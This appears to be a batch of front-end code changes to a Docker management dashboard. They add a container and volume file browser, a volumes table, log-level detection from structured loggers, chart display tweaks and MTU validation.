import { useEffect, useMemo, useState } from "react";
import { toast } from "sonner";
import { AlertBlock } from "@/components/shared/alert-block";
import { CodeEditor } from "@/components/shared/code-editor";
import { DialogAction } from "@/components/shared/dialog-action";
import { Button } from "@/components/ui/button";
import {
Dialog,
DialogContent,
DialogDescription,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { DropdownMenuItem } from "@/components/ui/dropdown-menu";
import { api } from "@/utils/api";
type Props = {
serverId?: string;
children?: React.ReactNode;
asDropdownItem?: boolean;
} & (
| { containerId: string; volumeName?: undefined }
| { volumeName: string; containerId?: undefined }
);
const joinPath = (base: string, name: string) =>
base === "/" ? `/${name}` : `${base}/${name}`;
const decodeBase64 = (base64: string) => {
const binary = atob(base64);
const bytes = new Uint8Array(binary.length);
for (let i = 0; i < binary.length; i++) {
bytes[i] = binary.charCodeAt(i);
}
return bytes;
};
export const FilesExplorerModal = ({
containerId,
volumeName,
serverId,
children,
asDropdownItem = true,
}: Props) => {
const [open, setOpen] = useState(false);
const [path, setPath] = useState("/");
const [selectedFile, setSelectedFile] = useState<string | null>(null);
const [editorContent, setEditorContent] = useState("");
const isVolume = !!volumeName;
const utils = api.useUtils();
const containerEntries = api.docker.listContainerFiles.useQuery(
{ containerId: containerId ?? "", path, serverId },
{ enabled: open && !isVolume, retry: false },
);
const volumeEntries = api.dockerVolume.listVolumeFiles.useQuery(
{ volumeName: volumeName ?? "", path, serverId },
{ enabled: open && isVolume, retry: false },
);
const {
data: entries,
isLoading: isLoadingEntries,
error: entriesError,
refetch: refetchEntries,
isRefetching,
} = isVolume ? volumeEntries : containerEntries;
const containerFile = api.docker.readContainerFile.useQuery(
{ containerId: containerId ?? "", path: selectedFile ?? "/", serverId },
{ enabled: open && !isVolume && !!selectedFile, retry: false },
);
const volumeFile = api.dockerVolume.readVolumeFile.useQuery(
{ volumeName: volumeName ?? "", path: selectedFile ?? "/", serverId },
{ enabled: open && isVolume && !!selectedFile, retry: false },
);
const {
data: file,
isLoading: isLoadingFile,
error: fileError,
refetch: refetchFile,
} = isVolume ? volumeFile : containerFile;
const fileBytes = useMemo(
() => (file ? decodeBase64(file.content) : null),
[file],
);
const isBinary = useMemo(
() => !!fileBytes?.some((byte) => byte === 0),
[fileBytes],
);
useEffect(() => {
if (fileBytes && !isBinary) {
setEditorContent(new TextDecoder().decode(fileBytes));
}
}, [fileBytes, isBinary]);
const writeContainerFile = api.docker.writeContainerFile.useMutation();
const writeVolumeFile = api.dockerVolume.writeVolumeFile.useMutation();
const deleteContainerFile = api.docker.deleteContainerFile.useMutation();
const deleteVolumeFile = api.dockerVolume.deleteVolumeFile.useMutation();
const isSaving = writeContainerFile.isPending || writeVolumeFile.isPending;
const isDeleting =
deleteContainerFile.isPending || deleteVolumeFile.isPending;
const saveFile = async () => {
if (!selectedFile) return;
try {
if (isVolume) {
await writeVolumeFile.mutateAsync({
volumeName,
path: selectedFile,
content: editorContent,
serverId,
});
} else {
await writeContainerFile.mutateAsync({
containerId: containerId ?? "",
path: selectedFile,
content: editorContent,
serverId,
});
}
toast.success("File saved");
refetchFile();
} catch (error) {
toast.error(
error instanceof Error ? error.message : "Failed to save file",
);
}
};
const deleteEntry = async (entryPath: string) => {
try {
if (isVolume) {
await deleteVolumeFile.mutateAsync({
volumeName,
path: entryPath,
serverId,
});
await utils.dockerVolume.listVolumeFiles.invalidate();
} else {
await deleteContainerFile.mutateAsync({
containerId: containerId ?? "",
path: entryPath,
serverId,
});
await utils.docker.listContainerFiles.invalidate();
}
toast.success("Deleted");
if (selectedFile === entryPath) {
setSelectedFile(null);
}
} catch (error) {
toast.error(error instanceof Error ? error.message : "Failed to delete");
}
};
const breadcrumbs = path.split("/").filter(Boolean);
const navigate = (nextPath: string) => {
setPath(nextPath);
setSelectedFile(null);
};
const handleOpenChange = (value: boolean) => {
setOpen(value);
if (!value) {
setPath("/");
setSelectedFile(null);
setEditorContent("");
}
};
const downloadFile = () => {
if (!fileBytes || !selectedFile) return;
const blob = new Blob([fileBytes]);
const url = URL.createObjectURL(blob);
const anchor = document.createElement("a");
anchor.href = url;
anchor.download = selectedFile.split("/").pop() ?? "file";
anchor.click();
URL.revokeObjectURL(url);
};
return (
<Dialog open={open} onOpenChange={handleOpenChange}>
<DialogTrigger asChild>
{asDropdownItem ? (
<DropdownMenuItem
className="w-full cursor-pointer space-x-3"
onSelect={(e) => e.preventDefault()}
>
{children}
</DropdownMenuItem>
) : (
children
)}
</DialogTrigger>
<DialogContent className="sm:max-w-6xl">
<DialogHeader>
<DialogTitle className="flex items-center gap-2">
<FolderOpen className="size-5" />
{isVolume ? "Volume Files" : "Container Files"}
</DialogTitle>
<DialogDescription>
{isVolume
? `Browse and edit files inside the "${volumeName}" volume`
: "Browse and edit files inside the container's filesystem"}
</DialogDescription>
</DialogHeader>
<div className="flex items-center gap-1 text-sm font-mono flex-wrap">
<button
type="button"
className="hover:underline text-muted-foreground"
onClick={() => navigate("/")}
>
/
</button>
{breadcrumbs.map((segment, index) => (
<span
key={`/${breadcrumbs.slice(0, index + 1).join("/")}`}
className="flex items-center gap-1"
>
<button
type="button"
className="hover:underline text-muted-foreground"
onClick={() =>
navigate(`/${breadcrumbs.slice(0, index + 1).join("/")}`)
}
>
{segment}
</button>
{index < breadcrumbs.length - 1 && (
<ChevronRight className="size-3 text-muted-foreground" />
)}
</span>
))}
<Button
variant="ghost"
size="icon"
className="ml-auto size-7"
onClick={() => refetchEntries()}
>
<RefreshCw
className={`size-4 ${isRefetching ? "animate-spin" : ""}`}
/>
</Button>
</div>
<div className="flex gap-4 min-h-[55vh] max-h-[65vh]">
<div className="w-72 shrink-0 border rounded-lg overflow-y-auto">
{isLoadingEntries ? (
<div className="flex h-full items-center justify-center gap-2 text-sm text-muted-foreground p-4">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : entriesError ? (
<div className="p-3">
<AlertBlock type="error">{entriesError.message}</AlertBlock>
</div>
) : (
<div className="flex flex-col p-1">
{path !== "/" && (
<button
type="button"
className="flex items-center gap-2 rounded-md px-2 py-1.5 text-sm hover:bg-muted text-left"
onClick={() =>
navigate(`/${breadcrumbs.slice(0, -1).join("/")}` || "/")
}
>
<Folder className="size-4 shrink-0 text-muted-foreground" />
..
</button>
)}
{entries?.length === 0 && (
<span className="px-2 py-1.5 text-sm text-muted-foreground">
Empty directory
</span>
)}
{entries?.map((entry) => {
const entryPath = joinPath(path, entry.name);
return (
<div
key={entry.name}
className={`group flex items-center rounded-md hover:bg-muted ${
selectedFile === entryPath ? "bg-muted" : ""
}`}
>
<button
type="button"
className="flex flex-1 items-center gap-2 px-2 py-1.5 text-sm text-left min-w-0"
onClick={() =>
entry.isDirectory
? navigate(entryPath)
: setSelectedFile(entryPath)
}
>
{entry.isDirectory ? (
<Folder className="size-4 shrink-0 text-muted-foreground" />
) : (
<File className="size-4 shrink-0 text-muted-foreground" />
)}
<span className="truncate">{entry.name}</span>
</button>
<DialogAction
title={`Delete ${entry.name}?`}
description={`This will permanently delete ${entryPath}${entry.isDirectory ? " and all its contents" : ""}.`}
onClick={() => deleteEntry(entryPath)}
>
<Button
variant="ghost"
size="icon"
className="size-7 opacity-0 group-hover:opacity-100 shrink-0"
isLoading={isDeleting}
>
<Trash2 className="size-3.5 text-destructive" />
</Button>
</DialogAction>
</div>
);
})}
</div>
)}
</div>
<div className="flex-1 min-w-0 flex flex-col gap-2">
{!selectedFile ? (
<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed text-sm text-muted-foreground">
Select a file to view or edit it
</div>
) : isLoadingFile ? (
<div className="flex flex-1 items-center justify-center gap-2 text-sm text-muted-foreground rounded-lg border">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : fileError ? (
<AlertBlock type="error">{fileError.message}</AlertBlock>
) : (
<>
<div className="flex items-center gap-2">
<span className="text-sm font-mono truncate text-muted-foreground">
{selectedFile}
</span>
<div className="ml-auto flex items-center gap-2">
<Button variant="outline" size="sm" onClick={downloadFile}>
<Download className="size-4" />
Download
</Button>
<Button
size="sm"
isLoading={isSaving}
disabled={isBinary || file?.truncated}
onClick={saveFile}
>
Save
</Button>
</div>
</div>
{file?.truncated ? (
<AlertBlock type="warning">
This file is larger than 512KB. Showing a truncated preview;
editing is disabled. Use Download to get the truncated
content or the terminal for full access.
</AlertBlock>
) : isBinary ? (
<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed text-sm text-muted-foreground">
Binary file — use Download instead
</div>
) : (
<div className="flex-1 overflow-auto rounded-lg border">
<CodeEditor
lineWrapping
value={editorContent}
onChange={(value) => setEditorContent(value)}
wrapperClassName="h-full font-mono"
/>
</div>
)}
</>
)}
</div>
</div>
</DialogContent>
</Dialog>
);
};
@@ -72,8 +72,68 @@ export function parseLogs(logString: string): LogLine[] {
.filter((log) => log !== null);
}
const LEVEL_NAME_TO_TYPE: Record<string, LogType> = {
trace: "debug",
debug: "debug",
info: "info",
information: "info",
notice: "info",
warn: "warning",
warning: "warning",
error: "error",
err: "error",
fatal: "error",
critical: "error",
panic: "error",
alert: "error",
emergency: "error",
};
const numericLevelToType = (level: number): LogType => {
// pino/bunyan scale: 10=trace 20=debug 30=info 40=warn 50=error 60=fatal
if (level >= 50) return "error";
if (level >= 40) return "warning";
if (level >= 30) return "info";
if (level >= 10) return "debug";
// syslog/GELF scale: 0=emergency ... 7=debug
if (level <= 3) return "error";
if (level === 4) return "warning";
if (level <= 6) return "info";
return "debug";
};
// Extract the log level explicitly declared by structured loggers
// (pino, bunyan, winston, zap, slog, logfmt, GCP severity)
const getExplicitLevelType = (message: string): LogType | null => {
// JSON string levels: {"level":"error"} / {"severity":"ERROR"} / {"log.level":"warn"}
const jsonStringMatch = message.match(
/"(?:level|severity|log\.level|loglevel)"\s*:\s*"([a-z]+)"/i,
);
if (jsonStringMatch?.[1]) {
return LEVEL_NAME_TO_TYPE[jsonStringMatch[1].toLowerCase()] ?? null;
}
// JSON numeric levels: {"level":50}
const jsonNumericMatch = message.match(/"level"\s*:\s*(\d{1,2})\b/);
if (jsonNumericMatch?.[1]) {
return numericLevelToType(Number(jsonNumericMatch[1]));
}
// logfmt: level=error
const logfmtMatch = message.match(/(?:^|\s)(?:level|severity)=([a-z]+)\b/i);
if (logfmtMatch?.[1]) {
return LEVEL_NAME_TO_TYPE[logfmtMatch[1].toLowerCase()] ?? null;
}
return null;
};
// Detect log type based on message content
export const getLogType = (message: string): LogStyle => {
// A level explicitly declared by the logger wins over any inference
const explicitType = getExplicitLevelType(message);
if (explicitType) return LOG_STYLES[explicitType];
// Detect HTTP statusCode
const statusMatch = message.match(/"statusCode"\s*:\s*"?(\d{3})"?/);
@@ -97,17 +157,27 @@ export const getLogType = (message: string): LogStyle => {
return LOG_STYLES.info;
}
// Key/value pairs that explicitly report a non-error (e.g. "error: none",
// "failed: false") must not trigger the error keyword patterns below
const nonErrorColonPairs =
/\b(?:error|err|errors|failed|failure|failures)\s*:\s*(?:none|null|nil|false|0|no|-|""|'')(?=[,;.)\]]|$)/gi;
const nonErrorLogfmtPairs =
/\b(?:error|err|errors|failed|failure|failures)\s*=\s*(?:none|null|nil|false|0|no|-|""|'')(?=[\s,;.)\]]|$)/gi;
const errorScope = lowerMessage
.replace(nonErrorColonPairs, "")
.replace(nonErrorLogfmtPairs, "");
if (
/(?:^|\s)(?:error|err):?\s/i.test(lowerMessage) ||
/\b(?:exception|failed|failure)\b/i.test(lowerMessage) ||
/(?:stack\s?trace):\s*$/i.test(lowerMessage) ||
/^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(lowerMessage) ||
/\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(lowerMessage) ||
/Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(lowerMessage) ||
/\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(lowerMessage) ||
/\[(?:error|err|fatal)\]/i.test(lowerMessage) ||
/\b(?:crash|critical|fatal)\b/i.test(lowerMessage) ||
/\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(lowerMessage)
/(?:^|\s)(?:error|err):?\s/i.test(errorScope) ||
/\b(?:exception|failed|failure)\b/i.test(errorScope) ||
/(?:stack\s?trace):\s*$/i.test(errorScope) ||
/^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(errorScope) ||
/\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(errorScope) ||
/Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(errorScope) ||
/\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(errorScope) ||
/\[(?:error|err|fatal)\]/i.test(errorScope) ||
/\b(?:crash|critical|fatal)\b/i.test(errorScope) ||
/\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(errorScope)
) {
return LOG_STYLES.error;
}
@@ -12,6 +12,7 @@ import {
DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu";
import { ShowContainerConfig } from "../config/show-container-config";
import { FilesExplorerModal } from "../files/files-explorer-modal";
import { ShowDockerModalLogs } from "../logs/show-docker-modal-logs";
import { ShowContainerMounts } from "../mounts/show-container-mounts";
import { ShowContainerNetworks } from "../networks/show-container-networks";
@@ -173,6 +174,12 @@ export const columns: ColumnDef<Container>[] = [
>
Terminal
</DockerTerminalModal>
<FilesExplorerModal
containerId={container.containerId}
serverId={container.serverId || undefined}
>
Browse Files
</FilesExplorerModal>
<UploadFileModal
containerId={container.containerId}
serverId={container.serverId || undefined}
@@ -5,6 +5,7 @@ import "@xterm/xterm/css/xterm.css";
import { AttachAddon } from "@xterm/addon-attach";
import { useTheme } from "next-themes";
import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs";
import { fixMacOsAltKeys } from "@/lib/terminal-keyboard";
interface Props {
id: string;
@@ -45,6 +46,7 @@ export const DockerTerminal: React.FC<Props> = ({
const ws = new WebSocket(wsUrl);
const addonAttach = new AttachAddon(ws);
fixMacOsAltKeys(term);
// @ts-ignore
term.open(termRef.current);
// @ts-ignore
@@ -0,0 +1,434 @@
"use client";
import {
type ColumnDef,
flexRender,
getCoreRowModel,
getPaginationRowModel,
getSortedRowModel,
type PaginationState,
type SortingState,
useReactTable,
} from "@tanstack/react-table";
import type { inferRouterOutputs } from "@trpc/server";
import {
ArrowUpDown,
Eye,
FolderOpen,
HardDrive,
Loader2,
Trash2,
} from "lucide-react";
import { useMemo, useState } from "react";
import { toast } from "sonner";
import { FilesExplorerModal } from "@/components/dashboard/docker/files/files-explorer-modal";
import { AlertBlock } from "@/components/shared/alert-block";
import { CodeEditor } from "@/components/shared/code-editor";
import { DialogAction } from "@/components/shared/dialog-action";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
Card,
CardContent,
CardDescription,
CardHeader,
CardTitle,
} from "@/components/ui/card";
import {
Dialog,
DialogContent,
DialogDescription,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { Input } from "@/components/ui/input";
import {
Table,
TableBody,
TableCell,
TableHead,
TableHeader,
TableRow,
} from "@/components/ui/table";
import type { AppRouter } from "@/server/api/root";
import { api } from "@/utils/api";
type VolumeRow =
inferRouterOutputs<AppRouter>["dockerVolume"]["getVolumes"][number];
interface Props {
serverId?: string;
}
const SIZE_UNITS: Record<string, number> = {
b: 1,
kb: 1e3,
mb: 1e6,
gb: 1e9,
tb: 1e12,
};
const parseSize = (size?: string) => {
if (!size) return -1;
const match = /^([\d.]+)\s*([a-zA-Z]+)$/.exec(size.trim());
if (!match?.[1] || !match[2]) return -1;
return Number(match[1]) * (SIZE_UNITS[match[2].toLowerCase()] ?? 1);
};
const SortableHeader = ({
column,
title,
}: {
column: {
getIsSorted: () => false | "asc" | "desc";
toggleSorting: (asc: boolean) => void;
};
title: string;
}) => (
<Button
variant="ghost"
className="-ml-3 h-8"
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
>
{title}
<ArrowUpDown className="ml-2 size-4" />
</Button>
);
const ShowVolumeConfig = ({
volumeName,
serverId,
}: {
volumeName: string;
serverId?: string;
}) => {
const [open, setOpen] = useState(false);
const { data, isLoading, error } = api.dockerVolume.getVolumeConfig.useQuery(
{ volumeName, serverId },
{ enabled: open },
);
return (
<Dialog open={open} onOpenChange={setOpen}>
<DialogTrigger asChild>
<Button variant="ghost" size="icon-sm" aria-label="View volume config">
<Eye className="size-4" />
</Button>
</DialogTrigger>
<DialogContent className="w-full md:w-[70vw] min-w-[70vw]">
<DialogHeader>
<DialogTitle>Volume Config</DialogTitle>
<DialogDescription>
docker volume inspect output for "{volumeName}"
</DialogDescription>
</DialogHeader>
{error ? (
<AlertBlock type="error">{error.message}</AlertBlock>
) : isLoading ? (
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : (
<div className="text-wrap rounded-lg border p-4 overflow-y-auto text-sm bg-card max-h-[80vh]">
<code>
<pre className="whitespace-pre-wrap wrap-break-word">
<CodeEditor
language="json"
lineWrapping
lineNumbers={false}
readOnly
value={JSON.stringify(data, null, 2)}
/>
</pre>
</code>
</div>
)}
</DialogContent>
</Dialog>
);
};
export const ShowVolumes = ({ serverId }: Props) => {
const utils = api.useUtils();
const [sorting, setSorting] = useState<SortingState>([
{ id: "Name", desc: false },
]);
const [globalFilter, setGlobalFilter] = useState("");
const [pagination, setPagination] = useState<PaginationState>({
pageIndex: 0,
pageSize: 10,
});
const { data: volumes, isLoading } = api.dockerVolume.getVolumes.useQuery({
serverId,
});
const { data: sizes, isLoading: isLoadingSizes } =
api.dockerVolume.getVolumesSize.useQuery({ serverId });
const sizeByName = useMemo(
() => new Map((sizes ?? []).map((entry) => [entry.name, entry.size])),
[sizes],
);
const { mutateAsync: removeVolume } =
api.dockerVolume.removeVolume.useMutation();
const filteredData = useMemo(() => {
const list = volumes ?? [];
if (!globalFilter.trim()) {
return list;
}
const query = globalFilter.toLowerCase();
return list.filter((volume) => volume.Name.toLowerCase().includes(query));
}, [volumes, globalFilter]);
const columns = useMemo<ColumnDef<VolumeRow>[]>(
() => [
{
accessorKey: "Name",
header: ({ column }) => <SortableHeader column={column} title="Name" />,
cell: ({ row }) => (
<div
className="max-w-[280px] truncate font-medium"
title={row.original.Name}
>
{row.original.Name}
</div>
),
},
{
accessorKey: "Driver",
header: ({ column }) => (
<SortableHeader column={column} title="Driver" />
),
cell: ({ row }) => (
<Badge variant="outline">{row.original.Driver}</Badge>
),
},
{
accessorKey: "Scope",
header: ({ column }) => (
<SortableHeader column={column} title="Scope" />
),
cell: ({ row }) => (
<span className="text-muted-foreground">{row.original.Scope}</span>
),
},
{
id: "Size",
header: ({ column }) => <SortableHeader column={column} title="Size" />,
sortingFn: (a, b) =>
parseSize(sizeByName.get(a.original.Name) ?? undefined) -
parseSize(sizeByName.get(b.original.Name) ?? undefined),
cell: ({ row }) =>
isLoadingSizes ? (
<Loader2 className="size-3.5 animate-spin text-muted-foreground" />
) : (
<span className="text-muted-foreground">
{sizeByName.get(row.original.Name) ?? "-"}
</span>
),
},
{
accessorKey: "Mountpoint",
header: ({ column }) => (
<SortableHeader column={column} title="Mountpoint" />
),
cell: ({ row }) => (
<div
className="max-w-[320px] truncate font-mono text-xs text-muted-foreground"
title={row.original.Mountpoint}
>
{row.original.Mountpoint}
</div>
),
},
{
id: "actions",
enableSorting: false,
header: () => <div className="text-right">Actions</div>,
cell: ({ row }) => (
<div className="flex items-center justify-end gap-3">
<FilesExplorerModal
volumeName={row.original.Name}
serverId={serverId}
asDropdownItem={false}
>
<Button
variant="ghost"
size="icon-sm"
aria-label="Browse volume files"
>
<FolderOpen className="size-4" />
</Button>
</FilesExplorerModal>
<ShowVolumeConfig
volumeName={row.original.Name}
serverId={serverId}
/>
<DialogAction
title="Delete volume"
description={`The volume "${row.original.Name}" will be removed from Docker. This action cannot be undone.`}
onClick={async () => {
try {
await removeVolume({
volumeName: row.original.Name,
serverId,
});
toast.success("Volume deleted");
await utils.dockerVolume.getVolumes.invalidate();
} catch (error) {
toast.error("Error deleting volume", {
description:
error instanceof Error ? error.message : "Unknown error",
});
}
}}
>
<Button variant="ghost" size="icon-sm" aria-label="Delete volume">
<Trash2 className="size-4 text-destructive" />
</Button>
</DialogAction>
</div>
),
},
],
[serverId, removeVolume, utils, sizeByName, isLoadingSizes],
);
const table = useReactTable({
data: filteredData,
columns,
state: {
sorting,
pagination,
},
onSortingChange: setSorting,
onPaginationChange: setPagination,
getCoreRowModel: getCoreRowModel(),
getSortedRowModel: getSortedRowModel(),
getPaginationRowModel: getPaginationRowModel(),
});
return (
<div className="w-full">
<Card className="h-full bg-sidebar p-2.5 rounded-xl">
<div className="rounded-xl bg-background shadow-md ">
<CardHeader className="">
<CardTitle className="text-xl flex flex-row gap-2">
<HardDrive className="size-6 text-muted-foreground self-center" />
Volumes
</CardTitle>
<CardDescription>
Manage the Docker volumes of the selected server.
</CardDescription>
</CardHeader>
<CardContent className="space-y-4 py-8 border-t">
{isLoading ? (
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : !volumes?.length ? (
<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
<div className="rounded-full bg-muted p-4">
<HardDrive className="size-10 text-muted-foreground" />
</div>
<div className="space-y-1 text-center">
<p className="text-sm font-medium">No volumes found</p>
<p className="max-w-sm text-sm text-muted-foreground">
Docker volumes created on this server will appear here.
</p>
</div>
</div>
) : (
<>
<div className="flex flex-wrap items-center gap-2">
<Input
placeholder="Search by name..."
value={globalFilter}
onChange={(e) => setGlobalFilter(e.target.value)}
className="max-w-xs"
/>
</div>
<div className="rounded-md border overflow-x-auto">
<Table>
<TableHeader>
{table.getHeaderGroups().map((headerGroup) => (
<TableRow key={headerGroup.id}>
{headerGroup.headers.map((header) => (
<TableHead key={header.id}>
{header.isPlaceholder
? null
: flexRender(
header.column.columnDef.header,
header.getContext(),
)}
</TableHead>
))}
</TableRow>
))}
</TableHeader>
<TableBody>
{table.getRowModel().rows?.length ? (
table.getRowModel().rows.map((row) => (
<TableRow key={row.id}>
{row.getVisibleCells().map((cell) => (
<TableCell key={cell.id}>
{flexRender(
cell.column.columnDef.cell,
cell.getContext(),
)}
</TableCell>
))}
</TableRow>
))
) : (
<TableRow>
<TableCell
colSpan={columns.length}
className="h-24 text-center text-muted-foreground"
>
No volumes match your filters.
</TableCell>
</TableRow>
)}
</TableBody>
</Table>
</div>
{table.getPageCount() > 1 && (
<div className="flex items-center justify-end gap-4">
<span className="text-sm text-muted-foreground">
Page {table.getState().pagination.pageIndex + 1} of{" "}
{table.getPageCount()}
</span>
<div className="flex gap-2">
<Button
variant="outline"
size="sm"
onClick={() => table.previousPage()}
disabled={!table.getCanPreviousPage()}
>
Previous
</Button>
<Button
variant="outline"
size="sm"
onClick={() => table.nextPage()}
disabled={!table.getCanNextPage()}
>
Next
</Button>
</div>
</div>
)}
</>
)}
</CardContent>
</div>
</Card>
</div>
);
};
@@ -1,3 +1,4 @@
import { formatMb, toMb } from "@dokploy/server/monitoring/units";
import { format } from "date-fns";
import { Area, AreaChart, CartesianGrid, YAxis } from "recharts";
import {
@@ -29,8 +30,8 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
const transformedData = accumulativeData.map((item, index) => ({
time: item.time,
name: `Point ${index + 1}`,
readMb: item.value.readMb,
writeMb: item.value.writeMb,
readMb: toMb(item.value.readMb),
writeMb: toMb(item.value.writeMb),
}));
return (
@@ -77,13 +78,14 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
}}
formatter={(value, name) => {
const label = name === "readMb" ? "Read" : "Write";
return [`${value} MB`, label];
return [formatMb(Number(value)), label];
}}
/>
}
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="readMb"
stroke="var(--color-readMb)"
fill="url(#fillBlockRead)"
@@ -91,6 +93,7 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="writeMb"
stroke="var(--color-writeMb)"
fill="url(#fillBlockWrite)"
@@ -69,6 +69,7 @@ export const DockerCpuChart = ({ accumulativeData }: Props) => {
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="usage"
stroke="var(--color-usage)"
fill="url(#fillCpu)"
@@ -71,6 +71,7 @@ export const DockerDiskChart = ({ accumulativeData, diskTotal }: Props) => {
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="usedGb"
stroke="var(--color-usedGb)"
fill="url(#fillDiskUsed)"
@@ -75,6 +75,7 @@ export const DockerMemoryChart = ({
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="usage"
stroke="var(--color-usage)"
fill="url(#fillMemory)"
@@ -1,3 +1,4 @@
import { formatMb, toMb } from "@dokploy/server/monitoring/units";
import { format } from "date-fns";
import { Area, AreaChart, CartesianGrid, YAxis } from "recharts";
import {
@@ -29,8 +30,8 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
const transformedData = accumulativeData.map((item, index) => ({
time: item.time,
name: `Point ${index + 1}`,
inMB: item.value.inputMb,
outMB: item.value.outputMb,
inMB: toMb(item.value.inputMb),
outMB: toMb(item.value.outputMb),
}));
return (
@@ -73,13 +74,14 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
}}
formatter={(value, name) => {
const label = name === "inMB" ? "In" : "Out";
return [`${value} MB`, label];
return [formatMb(Number(value)), label];
}}
/>
}
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="inMB"
stroke="var(--color-inMB)"
fill="url(#fillNetIn)"
@@ -87,6 +89,7 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="outMB"
stroke="var(--color-outMB)"
fill="url(#fillNetOut)"
@@ -1,3 +1,4 @@
import { formatMb } from "@dokploy/server/monitoring/units";
import { useEffect, useState } from "react";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import { Progress } from "@/components/ui/progress";
@@ -305,7 +306,7 @@ export const ContainerFreeMonitoring = ({
<CardContent>
<div className="flex flex-col gap-2 w-full">
<span className="text-sm text-muted-foreground">
{`Read: ${currentData.block.value.readMb} / Write: ${currentData.block.value.writeMb} `}
{`Read: ${formatMb(currentData.block.value.readMb)} / Write: ${formatMb(currentData.block.value.writeMb)}`}
</span>
<DockerBlockChart accumulativeData={accumulativeData.block} />
</div>
@@ -318,7 +319,7 @@ export const ContainerFreeMonitoring = ({
<CardContent>
<div className="flex flex-col gap-2 w-full">
<span className="text-sm text-muted-foreground">
{`In MB: ${currentData.network.value.inputMb} / Out MB: ${currentData.network.value.outputMb} `}
{`In: ${formatMb(currentData.network.value.inputMb)} / Out: ${formatMb(currentData.network.value.outputMb)}`}
</span>
<DockerNetworkChart accumulativeData={accumulativeData.network} />
</div>
@@ -154,6 +154,7 @@ export const ContainerBlockChart = ({ data }: Props) => {
name="Write"
dataKey="write"
type="monotone"
isAnimationActive={false}
fill="url(#fillWrite)"
stroke="hsl(142, 71%, 45%)"
strokeWidth={2}
@@ -163,6 +164,7 @@ export const ContainerBlockChart = ({ data }: Props) => {
name="Read"
dataKey="read"
type="monotone"
isAnimationActive={false}
fill="url(#fillRead)"
stroke="hsl(217, 91%, 60%)"
strokeWidth={2}
@@ -111,6 +111,7 @@ export const ContainerCPUChart = ({ data }: Props) => {
name="CPU"
dataKey="cpu"
type="monotone"
isAnimationActive={false}
fill="url(#fillCPU)"
stroke="hsl(var(--chart-1))"
strokeWidth={2}
@@ -132,6 +132,7 @@ export const ContainerMemoryChart = ({ data }: Props) => {
name="Memory"
dataKey="memory"
type="monotone"
isAnimationActive={false}
fill="url(#fillMemory)"
stroke="hsl(var(--chart-2))"
strokeWidth={2}
@@ -161,6 +161,7 @@ export const ContainerNetworkChart = ({ data }: Props) => {
name="Input"
dataKey="input"
type="monotone"
isAnimationActive={false}
fill="url(#fillInput)"
stroke="hsl(var(--chart-3))"
strokeWidth={2}
@@ -169,6 +170,7 @@ export const ContainerNetworkChart = ({ data }: Props) => {
name="Output"
dataKey="output"
type="monotone"
isAnimationActive={false}
fill="url(#fillOutput)"
stroke="hsl(var(--chart-4))"
strokeWidth={2}
@@ -98,6 +98,7 @@ export function CPUChart({ data }: CPUChartProps) {
name="CPU"
dataKey="cpu"
type="monotone"
isAnimationActive={false}
fill="url(#fillCPU)"
stroke="hsl(var(--chart-1))"
strokeWidth={2}
@@ -115,6 +115,7 @@ export function MemoryChart({ data }: MemoryChartProps) {
yAxisId="left"
dataKey="memUsed"
type="monotone"
isAnimationActive={false}
fill="url(#fillMemory)"
stroke="hsl(var(--chart-2))"
strokeWidth={2}
@@ -120,6 +120,7 @@ export function NetworkChart({ data }: NetworkChartProps) {
name="Network In"
dataKey="networkIn"
type="monotone"
isAnimationActive={false}
fill="url(#fillNetworkIn)"
stroke="hsl(var(--chart-3))"
strokeWidth={2}
@@ -128,6 +129,7 @@ export function NetworkChart({ data }: NetworkChartProps) {
name="Network Out"
dataKey="networkOut"
type="monotone"
isAnimationActive={false}
fill="url(#fillNetworkOut)"
stroke="hsl(var(--chart-4))"
strokeWidth={2}
@@ -54,6 +54,14 @@ const networkFormSchema = z
attachable: z.boolean(),
enableIPv4: z.boolean(),
enableIPv6: z.boolean(),
mtu: z
.string()
.refine(
(value) =>
value === "" ||
(/^\d+$/.test(value) && +value >= 68 && +value <= 65535),
{ message: "MTU must be a number between 68 and 65535" },
),
ipamDriver: z.string().optional(),
